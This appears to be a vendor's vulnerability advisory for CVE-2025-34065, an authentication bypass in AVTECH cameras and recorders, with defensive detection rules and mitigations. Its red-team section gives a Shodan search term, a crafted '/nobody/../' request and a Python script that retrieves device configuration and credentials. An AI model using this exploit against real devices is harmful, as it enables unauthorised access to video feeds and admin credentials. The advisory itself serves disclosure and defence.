CVE-2025-34065

Executive Summary

CVE-2025-34065 is a critical authentication bypass vulnerability affecting AVTECH IP cameras, DVRs, and NVR devices. The flaw resides in the streamd web server component, where the strstr() function is used to check for the string /nobody in incoming HTTP requests. Due to a flawed implementation, any request containing /nobody anywhere in the URL is granted unauthenticated access, completely bypassing login controls. This allows an attacker to access live video feeds, device configuration, and potentially pivot to internal networks. No patch is currently available, and the vulnerability is publicly known.

Supply Chain & Package Security

This vulnerability is not related to any open-source package manager (NPM, PyPI, Go, Ruby). It is a firmware-level issue in proprietary AVTECH embedded devices. Supply chain risk is limited to the procurement of affected hardware models.

CVSS Breakdown & Threat Level

CVSS Score: 10.0 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – Exploitable remotely over the network.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): None – No authentication needed.
• User Interaction (UI): None – No user action required.
• Scope (S): Unchanged – Exploit does not affect other components.
• Confidentiality (C): High – Full access to video streams and device data.
• Integrity (I): High – Attacker can modify device settings.
• Availability (A): High – Attacker can disrupt device operation.

Threat Level: Critical. The vulnerability is trivial to exploit and affects a wide range of IoT devices with no patch available.

Deep Dive & Mechanics

The streamd web server on AVTECH devices uses the C strstr() function to check if the string /nobody is present in the HTTP request URI. The intended logic was likely to restrict access to certain administrative endpoints, but the implementation is flawed: strstr() returns a non-NULL pointer if the substring is found anywhere in the string. Therefore, any request containing /nobody (e.g., /nobody/../cgi-bin/admin/getconfig.cgi) is treated as authenticated.

The server does not validate the position of /nobody or require it to be at the start of the path. This allows path traversal and direct access to sensitive endpoints.

Root Cause: Improper use of strstr() for authentication checks. The function should have been used with a proper tokenization or exact match logic.

Vulnerable vs. Patched Code

Vulnerable Code (C pseudocode):

int authenticate_request(char *uri) {
    if (strstr(uri, "/nobody") != NULL) {
        return 1; // Authenticated
    }
    // ... normal authentication logic
    return 0;
}

Patched Code (Hypothetical):

int authenticate_request(char *uri) {
    // Check if URI starts with "/nobody" or is exactly "/nobody"
    if (strncmp(uri, "/nobody", 7) == 0 && (uri[7] == '/' || uri[7] == '\0')) {
        return 1; // Authenticated
    }
    // ... normal authentication logic
    return 0;
}

The patched version ensures /nobody is at the beginning of the path and followed by a slash or end-of-string, preventing bypass via path traversal.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target AVTECH device with streamd exposed on port 80 or 443.
• Network access to the device.

Exploit Steps:

1. Identify vulnerable device using Shodan dork: AVTECH streamd.
2. Send a crafted HTTP GET request with /nobody in the URL path.

Example Request:

GET /nobody/../cgi-bin/admin/getconfig.cgi HTTP/1.1
Host: target_ip
Connection: close

Python Exploit Script:

import requests

target = "http://target_ip"
payload = "/nobody/../cgi-bin/admin/getconfig.cgi"
url = target + payload

response = requests.get(url)
if response.status_code == 200:
    print("Exploit successful. Device config:")
    print(response.text)
else:
    print("Exploit failed.")

Expected Outcome: Unauthenticated access to device configuration, including admin credentials and video stream URLs.

Blue Team (Defensive)

Detection:

• Monitor HTTP logs for requests containing /nobody in the URI.
• Alert on any access to /cgi-bin/admin/ endpoints without prior authentication.

Mitigation:

• Isolate AVTECH devices on a separate VLAN with strict firewall rules.
• Disable remote access to the streamd web server if not required.
• Apply vendor patch when available.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests with /nobody in the URI path.
  • Unauthorized access to /cgi-bin/admin/ endpoints.
  • Connections from unknown IPs to port 80/443 of AVTECH devices.

• File IOCs:

  • Unusual configuration changes in device settings.
  • New user accounts or modified admin credentials.

• Behavioral IOCs:

  • Unexpected video stream access from external IPs.
  • Device reboots or firmware changes.

Detection Engineering

YARA Rule

rule CVE_2025_34065_AVTECH_AuthBypass {
    meta:
        description = "Detects HTTP requests exploiting CVE-2025-34065 in AVTECH devices"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-34065"
    strings:
        $nobody = "/nobody"
        $cgi_admin = "/cgi-bin/admin/"
    condition:
        $nobody and $cgi_admin
}

Sigma Rule

title: AVTECH Authentication Bypass via /nobody
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests containing /nobody targeting AVTECH devices
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "/nobody"
    condition: selection
falsepositives:
    - Legitimate use of /nobody path (unlikely)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-34065 AVTECH Authentication Bypass"; flow:to_server,established; content:"/nobody"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Network Segmentation: Place AVTECH devices on an isolated VLAN with no direct internet access.
2. Access Control: Restrict access to the streamd web server to trusted IPs only via firewall rules.
3. Disable Unused Services: If remote video access is not required, disable the web interface entirely.

Long-Term Fix:

• Await an official firmware patch from AVTECH. Monitor their security advisory page.
• If no patch is released, consider replacing affected devices with alternatives from vendors with active security support.

Workaround:

• Implement a reverse proxy (e.g., Nginx) that blocks requests containing /nobody in the URI before they reach the device.

Valters IT
Securing Digital Frontiers